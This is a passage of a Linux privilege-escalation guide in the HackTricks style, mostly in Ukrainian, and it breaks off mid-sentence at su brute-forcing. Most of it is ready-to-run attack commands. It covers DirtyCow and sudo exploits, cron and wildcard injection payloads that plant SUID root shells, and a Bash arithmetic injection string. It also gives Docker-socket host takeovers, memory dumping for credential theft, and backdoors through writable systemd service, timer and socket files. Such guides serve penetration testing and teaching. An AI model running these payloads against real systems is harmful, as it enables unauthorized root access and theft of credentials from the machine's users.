# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ## Інформація про систему ### Інформація про ОС Почнемо зі збору інформації про запущену ОС ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path Якщо ви **маєте права на запис у будь-яку папку всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: ```bash echo $PATH ``` ### Інформація про Env Чи містять змінні середовища цікаву інформацію, паролі або API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits Перевірте kernel version і чи існує exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` Ви можете знайти хороший список вразливих ядер і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Щоб витягти всі вразливі версії ядра з того сайту, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` Інструменти, які можуть допомогти у пошуку kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, перевіряє лише exploits для kernel 2.x) Завжди **пошукайте версію kernel в Google**, можливо ваша версія kernel вказана в якомусь kernel exploit і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo версія На основі вразливих версій sudo, які наведені в: ```bash searchsploit sudo ``` Ви можете перевірити, чи вразлива версія sudo, використовуючи цей grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.8.28 Від @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати ```bash dmesg 2>/dev/null | grep "signature" ``` ### Додаткове system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` ## Перелічити можливі засоби захисту ### AppArmor ```bash if [ `which aa-status 2>/dev/null` ]; then aa-status elif [ `which apparmor_status 2>/dev/null` ]; then apparmor_status elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then ls -d /etc/apparmor* else echo "Not found AppArmor" fi ``` ### Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` ### PaX ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` ### Execshield ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` ### SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` ### ASLR ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` ## Docker Breakout Якщо ви перебуваєте всередині docker container, ви можете спробувати escape з нього: {{#ref}} docker-security/ {{#endref}} ## Drives Перевірте **what is mounted and unmounted**, де і чому. Якщо щось unmounted, ви можете спробувати mount його і перевірити на конфіденційну інформацію ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` ## Корисне програмне забезпечення Перелічити корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендовано скомпілювати його на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Встановлене уразливе програмне забезпечення Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення. ```bash dpkg -l #Debian rpm -qa #Centos ``` Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині. > [!NOTE] > _Зверніть увагу, що ці команди виведуть багато інформації, яка переважно буде марною, тому рекомендовано використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи є встановлені версії ПЗ вразливими до відомих exploits_ ## Процеси Погляньте, які **процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (наприклад, tomcat виконується під root?) ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати чужі. ### Моніторинг процесів Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконано певні умови. ### Пам'ять процесу Деякі служби на сервері зберігають **credentials у відкритому тексті в пам'яті**.\ Зазвичай вам знадобляться **root privileges** для читання пам'яті процесів, які належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.\ Проте пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. > [!WARNING] > Зверніть увагу, що сьогодні більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете дампити інші процеси, які належать вашому непривілейованому користувачу. > > Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > > - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, за умови що вони мають однаковий uid. Це класичний спосіб роботи ptrace. > - **kernel.yama.ptrace_scope = 1**: відлагоджений може бути лише батьківський процес. > - **kernel.yama.ptrace_scope = 2**: лише адміністратор може використовувати ptrace, оскільки це потребує можливості CAP_SYS_PTRACE. > - **kernel.yama.ptrace_scope = 3**: жодні процеси не можуть відстежуватися за допомогою ptrace. Після встановлення цього значення потрібне перезавантаження, щоб знову дозволити ptrace. #### GDB Якщо у вас є доступ до пам'яті FTP-служби (наприклад), ви можете витягти Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings (gdb) q (gdb) dump memory /tmp/mem_ftp (gdb) q strings /tmp/mem_ftp #User and password ``` #### GDB скрипт ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | while read start stop; do \ gdb --batch --pid $1 -ex \ "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` #### /proc/$pid/maps & /proc/$pid/mem Для заданого ідентифікатора процесу **maps показують, як пам'ять відображається в межах віртуального адресного простору цього процесу**; вони також показують **права доступу кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** і їхні зміщення. Ми використовуємо цю інформацію, щоб **перейти у файл mem і зробити дамп усіх доступних для читання областей** у файл. ```bash procdump() ( cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" while read a b; do dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" done ) cat $1*.bin > $1.dump rm $1*.bin ) ``` #### /dev/mem `/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати за допомогою /dev/kmem.\ Зазвичай, `/dev/mem` доступний для читання лише для **root** та групи kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux ProcDump — це реалізація для Linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Завантажити можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 ProcDump v1.2 - Sysinternals process dump utility Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license. Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi Monitors a process and writes a dump file when the process meets the specified criteria. Process: sleep (1714) CPU Threshold: n/a Commit Threshold: n/a Thread Threshold: n/a File descriptor Threshold: n/a Signal: n/a Polling interval (ms): 1000 Threshold (s): 10 Number of Dumps: 1 Output directory for core dumps: . Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` ### Інструменти Щоб dump a process memory ви можете використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити root requirements і dump the process, який належить вам - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) ### Облікові дані з Process Memory #### Ручний приклад Якщо ви виявите, що authenticator process працює: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` Ви можете зробити dump процесу (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin The tool [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) викрадає облікові дані у відкритому тексті з пам'яті та з деяких відомих файлів. Для коректної роботи потрібні привілеї root. | Функція | Назва процесу | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ # coredumping pid 6174 Reading symbols from od... Reading symbols from /usr/lib/systemd/systemd... Reading symbols from /lib/systemd/libsystemd-shared-247.so... Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... [...] # extracting strings to /tmp/tmp.o6HV0Pl3fe # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` ## Заплановані/Cron jobs ### Crontab UI (alseambusher) запущений як root – веб‑інтерфейсний планувальник privesc Якщо веб‑панель “Crontab UI” (alseambusher/crontab-ui) запущена від імені root і прив'язана лише до loopback, її все одно можна досягти через SSH local port-forwarding і створити привілейоване завдання для escalate. Типовий ланцюжок - Виявити loopback-only порт (наприклад, 127.0.0.1:8000) та Basic-Auth realm через `ss -ntlp` / `curl -v localhost:8000` - Знайти облікові дані в операційних артефактах: - Резервні копії/скрипти з `zip -P ` - systemd unit, який містить `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` - Тунелювання та вхід: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` - Створити завдання з високими привілеями і запустити негайно (drops SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` - Використовуйте це: ```bash /tmp/rootshell -p # root shell ``` Посилення безпеки - Не запускайте Crontab UI від root; обмежте виконання окремим користувачем з мінімальними правами - Прив’язуйте до localhost і додатково обмежуйте доступ через firewall/VPN; не використовуйте повторно паролі - Уникайте вбудовування секретів у unit files; використовуйте secret stores або root-only EnvironmentFile - Увімкніть audit/logging для on-demand job executions Перевірте, чи вразлива яка-небудь scheduled job. Можливо, ви зможете скористатися скриптом, що виконується від root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` ### Cron шлях Наприклад, всередині _/etc/crontab_ ви можете знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Зверніть увагу, що користувач "user" має права на запис у /home/user_) Якщо в цьому crontab root намагається виконати команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ Тоді ви можете отримати root shell, використовуючи: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` ### Cron, що використовує скрипт зі wildcard (Wildcard Injection) Якщо скрипт, що виконується від імені root, містить “**\***” всередині команди, це можна використати, щоб зробити непередбачувані речі (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Якщо wildcard передує шляху, наприклад** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не вразливий).** Read the following page for more wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} ### Bash arithmetic expansion injection in cron log parsers Bash виконує parameter expansion і command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає ненадійні поля логів і підставляє їх в arithmetic context, атакуючий може інжектити command substitution $(...) який виконається як root при запуску cron. - Why it works: У Bash expansions відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting та pathname expansion. Тому значення типу `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставиться (команда виконається), а потім залишкове числове `0` буде використане для арифметики, тож скрипт продовжить працювати без помилок. - Типовий вразливий шаблон: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log while IFS=',' read -r ts user count rest; do # count is untrusted if the log is attacker-controlled (( total += count )) # or: let "n=$count" done < /var/www/app/log/application.log ``` - Експлуатація: Домогтися запису тексту під контролем атакуючого у парсований лог так, щоб поле, що виглядає як число, містило command substitution і закінчувалося цифрою. Переконайтесь, що ваша команда не пише в stdout (або перенаправте її), щоб арифметика залишалася валідною. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` ### Cron script overwriting and symlink Якщо ви **можете змінити cron script**, що виконується від імені root, ви можете дуже легко отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` Якщо скрипт, виконуваний від імені root, використовує **directory where you have full access**, можливо буде корисно видалити цю папку й **create a symlink folder to another one**, яка вказуватиме на інший каталог із скриптом, контрольованим вами. ```bash ln -d -s ``` ### Часті cron jobs Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за командами, що виконуються рідше** та видалити команди, які були виконані найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **Ви також можете використати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно буде відслідковувати та перераховувати кожен процес, що запускається). ### Невидимі cron jobs Можна створити cronjob, **додавши carriage return після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Сервіси ### Доступні для запису _.service_ файли Перевірте, чи можете записати будь-який `.service` файл, якщо так, ви **можете змінити його** так, щоб він **запускав** ваш **backdoor коли** сервіс **запущено**, **перезапущено** або **зупинено** (можливо, доведеться почекати до перезавантаження машини).\ Наприклад, створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`** ### Бінарні файли сервісів, доступні для запису Майте на увазі, що якщо у вас є **права запису на бінарні файли, які виконуються сервісами**, ви можете змінити їх для backdoors, тож коли сервіси будуть повторно запущені, backdoors будуть виконані. ### systemd PATH - Відносні шляхи Ви можете побачити PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` Якщо ви знайдете, що можете **write** в будь-якій із папок цього шляху, ви, можливо, зможете **escalate privileges**. Вам потрібно шукати **relative paths being used on service configurations** files, такі як: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` Потім створіть **виконуваний файл** з **тим самим ім’ям, що й бінарний файл за відносним шляхом** у папці PATH systemd, до якої ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`). **Learn more about services with `man systemd.service`.** ## **Таймери** **Таймери** — це unit-файли systemd, чиї імена закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних часових подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` ### Таймери, доступні для запису Якщо ви можете змінити таймер, ви можете змусити його виконати існуючі одиниці systemd.unit (наприклад, `.service` або `.target`) ```bash Unit=backdoor.service ``` У документації можна прочитати, що таке Unit: > The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (Див. вище.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. Тому, щоб зловживати цією привілеєю, вам потрібно: - Знайти якийсь systemd unit (наприклад `.service`), який **виконує бінарний файл, доступний для запису** - Знайти якийсь systemd unit, який **запускає виконуваний файл за відносним шляхом** і над яким ви маєте **права запису** у **systemd PATH** (щоб підмінити цей виконуваний файл) **Дізнайтеся більше про timers за допомогою `man systemd.timer`.** ### **Увімкнення таймера** Щоб увімкнути таймер, потрібні права root — виконайте: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. Sockets can be configured using `.socket` files. **Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) - `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. - `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. - `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. ### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` ### Сире з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` **Приклад експлуатації:** {{#ref}} socket-command-injection.md {{#endref}} ### HTTP sockets Зверніть увагу, що можуть бути деякі **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` If the socket **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **exploit якусь vulnerability**. ### Доступний для запису Docker socket The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation з Docker CLI** Якщо у вас є доступ на запис до Docker socket, ви можете escalate privileges, використовуючи наступні команди: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` Ці команди дозволяють запустити контейнер з правами root до файлової системи хоста. #### **Using Docker API Directly** У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та `curl` команд. 1. **List Docker Images:** Отримати список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` 2. **Create a Container:** Надіслати запит на створення контейнера, який примонтовує кореневий каталог системи хоста. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` 3. **Attach to the Container:** Використайте `socat` для встановлення з'єднання з контейнером, що дозволяє виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 Host: Connection: Upgrade Upgrade: tcp ``` Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з правами root до файлової системи хоста. ### Others Зауважте, що якщо у вас є права на запис у docker socket через те, що ви **в групі `docker`**, у вас є [**більше способів підвищити привілеї**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає порт**, ви також можете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Перегляньте **більше способів вийти з docker або зловживати ним для підвищення привілеїв** у: {{#ref}} docker-security/ {{#endref}} ## Containerd (ctr) privilege escalation Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} ## **RunC** privilege escalation Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} runc-privilege-escalation.md {{#endref}} ## **D-Bus** D-Bus — це розвинена система міжпроцесної взаємодії (inter-Process Communication, IPC), яка дозволяє додаткам ефективно взаємодіяти та обмінюватись даними. Розроблена з урахуванням сучасних Linux-систем, вона пропонує надійну основу для різних форм комунікації між додатками. Система є універсальною, підтримуючи базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події чи сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth daemon про вхідний виклик може змусити плеєр вимкнути звук, покращуючи досвід користувача. D-Bus також підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, емісія сигналів тощо) на основі кумулятивного ефекту правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів. Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче; він деталізує дозволи для користувача root на володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, кого не покривають інші специфічні політики. ```xml ``` **Дізнайтеся, як enumerate та exploit D-Bus communication тут:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} ## **Мережа** Завжди цікаво enumerate the network і з'ясувати розташування машини. ### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf dnsdomainname #Content of /etc/inetd.conf & /etc/xinetd.conf cat /etc/inetd.conf /etc/xinetd.conf #Interfaces cat /etc/networks (ifconfig || ip a) #Neighbours (arp -e || arp -a) (route || ip n) #Iptables rules (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null) #Files used by network services lsof -i ``` ### Відкриті порти Завжди перевіряйте мережеві сервіси, які працюють на машині та з якими ви не могли взаємодіяти до отримання доступу до неї: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing Перевірте, чи можете перехоплювати трафік. Якщо так, ви зможете отримати деякі облікові дані. ``` timeout 1 tcpdump ``` ## Users ### Generic Enumeration Перевірте, **who** ви є, які **privileges** у вас є, які **users** є в системах, хто може **login** і хто має **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null #List all users cat /etc/passwd | cut -d: -f1 #List users with console cat /etc/passwd | grep "sh$" #List superusers awk -F: '($3 == "0") {print}' /etc/passwd #Currently logged users w #Login history last | tail #Last log of each user lastlog #List all users and their groups for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort #Current user PGP keys gpg --list-keys 2>/dev/null ``` ### Big UID Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Експлуатувати** за допомогою: **`systemd-run -t /bin/bash`** ### Groups Перевірте, чи ви є **членом якоїсь групи**, що може надати вам root-привілеї: {{#ref}} interesting-groups-linux-pe/ {{#endref}} ### Clipboard Перевірте, чи є в буфері обміну щось цікаве (якщо можливо) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` echo "Highlighted text: "`xclip -o 2>/dev/null` elif [ `which xsel 2>/dev/null` ]; then echo "Clipboard: "`xsel -ob 2>/dev/null` echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` ### Політика паролів ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Відомі паролі Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти як кожен користувач**, використовуючи цей пароль. ### Su Brute Якщо вам не важливо створювати багато шуму і бінарні файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати brute-force 